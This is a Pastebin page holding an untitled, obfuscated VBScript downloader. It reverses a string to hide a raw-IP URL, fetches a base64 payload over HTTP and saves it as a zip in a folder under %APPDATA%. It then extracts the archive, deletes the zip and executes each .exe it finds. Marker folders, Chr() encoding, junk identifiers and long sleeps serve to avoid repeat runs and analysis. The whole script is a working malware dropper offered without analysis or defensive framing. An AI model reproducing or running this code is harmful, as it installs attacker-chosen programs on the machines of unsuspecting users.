SHARE
TWEET

Untitled

a guest Feb 16th, 2020 82 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Option Explicit
  2. DIM DZIP,N_VR,STPASTALOKA,PSTLM,NMEXE,CLK,vvxyACDFFHIKMNNPQSU,OBJJJJLNOOQSSTVWWYaabd,objFeSO
  3. DZIP     = StrReverse("osi.regekcapmudam/8454:69.721.802.441//:ptth")
  4. Set OBJJJJLNOOQSSTVWWYaabd = CreateObject( "WScript.Shell" )    
  5. vvxyACDFFHIKMNNPQSU =OBJJJJLNOOQSSTVWWYaabd.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37)))
  6. N_VR = "A99449C3092CE70964CE715CF7BB75B.zip"
  7. WScript.Sleep 100
  8. PSTLM = vvxyACDFFHIKMNNPQSU + "\rugspain"
  9. xzzACCEFHHIKKMNPPRSSUVVXZaaceefhjjkmmnpprsu
  10. STPASTALOKA = PSTLM
  11. WScript.Sleep 100
  12. TEMMORRE
  13. WScript.Sleep 100
  14. DVwyzBCEEGHJJLMMOQQRT
  15. WScript.Sleep 32303
  16. XCxzzBCEEGHHJLMMOPPRTUUWYYZbbceggh
  17. WScript.Sleep 32210
  18. DCTUWWZZbcceghhjkkmoo
  19. WScript.Sleep 2424
  20. DCuuwwzzBCCEFFHJJKMOOPRRTUUWXXZbbceeghjjkmmopprttuw
  21. Function DCuuwwzzBCCEFFHJJKMOOPRRTUUWXXZbbceeghjjkmmopprttuw()
  22. Dim ClqtOOQRTUWWYZZbdeegiiLM,jrtEFFHJKKMOPRRTUw,jxtrttvwyAABDDFGGI,ColtMNPRSSUVXZZaceffh
  23. Set ClqtOOQRTUWWYZZbdeegiiLM = WScript.CreateObject( "WScript.Shell" )
  24. WScript.Sleep 70
  25. Set jrtEFFHJKKMOPRRTUw = CreateObject( "Scripting.FileSystemObject" )
  26. WScript.Sleep 50
  27. Set jxtrttvwyAABDDFGGI = jrtEFFHJKKMOPRRTUw.GetFolder(PSTLM)
  28. WScript.Sleep 40
  29. WScript.Sleep 50
  30. Set ColtMNPRSSUVXZZaceffh = jxtrttvwyAABDDFGGI.Files
  31. WScript.Sleep 60
  32. WScript.Sleep 50
  33. For Each ColtMNPRSSUVXZZaceffh in ColtMNPRSSUVXZZaceffh
  34. If UCase(jrtEFFHJKKMOPRRTUw.GetExtensionName(ColtMNPRSSUVXZZaceffh.name)) = UCase(Chr(69)) & UCase(Chr(88)) &UCase(Chr(69)) Then
  35. NMEXE = ColtMNPRSSUVXZZaceffh.Name
  36. ClqtOOQRTUWWYZZbdeegiiLM.Exec(PSTLM & UCase(Chr(92)) & ColtMNPRSSUVXZZaceffh.Name)
  37. WScript.Sleep 44
  38. End If
  39. Next
  40. End Function
  41. Function GTEK( myPassPhrase )
  42.     Dim i, arrCode( )
  43.     ReDim arrCode( Len( myPassPhrase ) - 1 )
  44.     For i = 0 To UBound( arrCode )
  45.         arrCode(i) = Asc( Mid( myPassPhrase, i + 1, 1 ) )
  46.     Next
  47.     GTEK = arrCode
  48. End Function
  49. Function XCxzzBCEEGHHJLMMOPPRTUUWYYZbbceggh()
  50. DIM ClqtOOQRTUWWYZZbdeegii,FilesInZip
  51. set ClqtOOQRTUWWYZZbdeegii = CreateObject("Shell.Application")
  52. set FilesInZip=ClqtOOQRTUWWYZZbdeegii.NameSpace(PSTLM & UCase(Chr(92)) & N_VR).items
  53. ClqtOOQRTUWWYZZbdeegii.NameSpace(PSTLM & UCase(Chr(92))).CopyHere(FilesInZip), UCase(Chr(52))
  54. Set ClqtOOQRTUWWYZZbdeegii = Nothing
  55. End Function
  56. Function DCTUWWZZbcceghhjkkmoo()
  57. DIM jrtEFFHJKKMOPRRTUxsd
  58. Set jrtEFFHJKKMOPRRTUxsd = Createobject("Scripting.FileSystemObject")
  59. jrtEFFHJKKMOPRRTUxsd.DeleteFile PSTLM & UCase(Chr(92)) & N_VR
  60. End Function
  61. Function tOggijjlmmoqrrt( myFileIn, myFileOut, arrCode )
  62.     Dim i, jrtEFFHJKKMOPRRTU, ColtMNPRSSUVXZZaceffhIn, ColtMNPRSSUVXZZaceffhOut, objStreamIn
  63.     Const ForAppending       =  8
  64.     Const ForReading         =  1
  65.     Const ForWriting         =  2
  66.     Const TristateFalse      =  0
  67.     Const TristateMixed      = -2
  68.     Const TristateTrue       = -1
  69.     Const TristateUseDefault = -2
  70.     On Error Resume Next
  71.     If Not IsArray( arrCode ) Then
  72.         arrCode = Array( arrCode )
  73.     End If
  74.     For i = 0 To UBound( arrCode )
  75.         If Not IsNumeric( arrCode(i) ) Then
  76.  
  77.             Encode = 1032
  78.             Exit Function
  79.         End If
  80.         If arrCode(i) < 0 Or arrCode(i) > 255 Then
  81.  
  82.             Encode = 1031
  83.             Exit Function
  84.         End If
  85.     Next
  86.     Set jrtEFFHJKKMOPRRTU = CreateObject( "Scripting.FileSystemObject" )
  87.     If jrtEFFHJKKMOPRRTU.FileExists( myFileIn ) Then
  88.         Set ColtMNPRSSUVXZZaceffhIn   = jrtEFFHJKKMOPRRTU.GetFile( myFileIn )
  89.         Set objStreamIn = ColtMNPRSSUVXZZaceffhIn.OpenAsTextStream( ForReading, TriStateFalse )
  90.     Else        
  91.         Encode = 53      
  92.         objStreamIn.Close
  93.         Set objStreamIn = Nothing
  94.         Set ColtMNPRSSUVXZZaceffhIn   = Nothing
  95.         Set jrtEFFHJKKMOPRRTU      = Nothing
  96.        
  97.         Exit Function
  98.     End If  
  99.     If jrtEFFHJKKMOPRRTU.FileExists( myFileOut ) Then
  100.         ' Error 58: File already exists
  101.         Encode = 58
  102.         ' Close input file and release objects
  103.         objStreamIn.Close
  104.         Set objStreamIn = Nothing
  105.         Set ColtMNPRSSUVXZZaceffhIn   = Nothing
  106.         Set jrtEFFHJKKMOPRRTU      = Nothing
  107.         ' Abort
  108.         Exit Function
  109.     Else
  110.         Set ColtMNPRSSUVXZZaceffhOut = jrtEFFHJKKMOPRRTU.CreateTextFile( myFileOut, True, False )
  111.     End If    
  112.     i = 0
  113.     Do Until objStreamIn.AtEndOfStream
  114.         i = ( i + 1 ) \ ( UBound( arrCode ) + 1 )
  115.         ColtMNPRSSUVXZZaceffhOut.Write Chr( Asc( objStreamIn.Read( 1 ) ) Xor arrCode(i) )
  116.     Loop  
  117.     ColtMNPRSSUVXZZaceffhOut.Close
  118.     objStreamIn.Close
  119.     Set objStreamIn = Nothing
  120.     Set ColtMNPRSSUVXZZaceffhIn   = Nothing
  121.     Set ColtMNPRSSUVXZZaceffhOut  = Nothing
  122.     Set jrtEFFHJKKMOPRRTU      = Nothing    
  123.     Encode = Err.Number
  124.     Err.Clear
  125.     On Error Goto 0
  126. End Function
  127. Function DVwyzBCEEGHJJLMMOQQRT()
  128. DIM req
  129. Set req = CreateObject("Msxml2.XMLHttp.6.0")
  130. req.open "GET", DZIP, False
  131. req.send
  132. If req.Status = 200 Then
  133.  Dim oNode, BinaryStream
  134. Const adTypeBinary = 1
  135. Const adSaveCreateOverWrite = 2
  136. Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
  137. oNode.dataType = "bin.base64"
  138. oNode.text = req.responseText
  139. Set BinaryStream = CreateObject("ADODB.Stream")
  140. BinaryStream.Type = adTypeBinary
  141. BinaryStream.Open
  142. BinaryStream.Write oNode.nodeTypedValue
  143. BinaryStream.SaveToFile PSTLM & UCase(Chr(92)) & N_VR, adSaveCreateOverWrite
  144. End if
  145. End Function
  146. Function xzzACCEFHHIKKMNPPRSSUVVXZaaceefhjjkmmnpprsu()
  147. dim mqXFFRJUWm
  148. Set mqXFFRJUWm = CreateObject("Scripting.FileSystemObject")
  149. If (mqXFFRJUWm.FolderExists((PSTLM) )) Then
  150. WScript.Quit()
  151. End If                      
  152. End Function
  153. Function TEMMORRE()
  154. SET objFeSO = CREATEOBJECT("Scripting.FileSystemObject")
  155. IF objFeSO.FolderExists(vvxyACDFFHIKMNNPQSU + "\OLEDAT") = TRUE THEN WScript.Quit() END IF
  156. IF objFeSO.FolderExists(STPASTALOKA) = FALSE THEN
  157. objFeSO.CreateFolder STPASTALOKA
  158. objFeSO.CreateFolder OBJJJJLNOOQSSTVWWYaabd.ExpandEnvironmentStrings(UCase(Chr(37)) & UCase(Chr(65)) & UCase(Chr(80)) & UCase(Chr(80)) & UCase(Chr(68)) & UCase(Chr(65)) & UCase(Chr(84)) & UCase(Chr(65)) & UCase(Chr(37))) + "\OLEDAT"
  159. END IF
  160. End Function
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top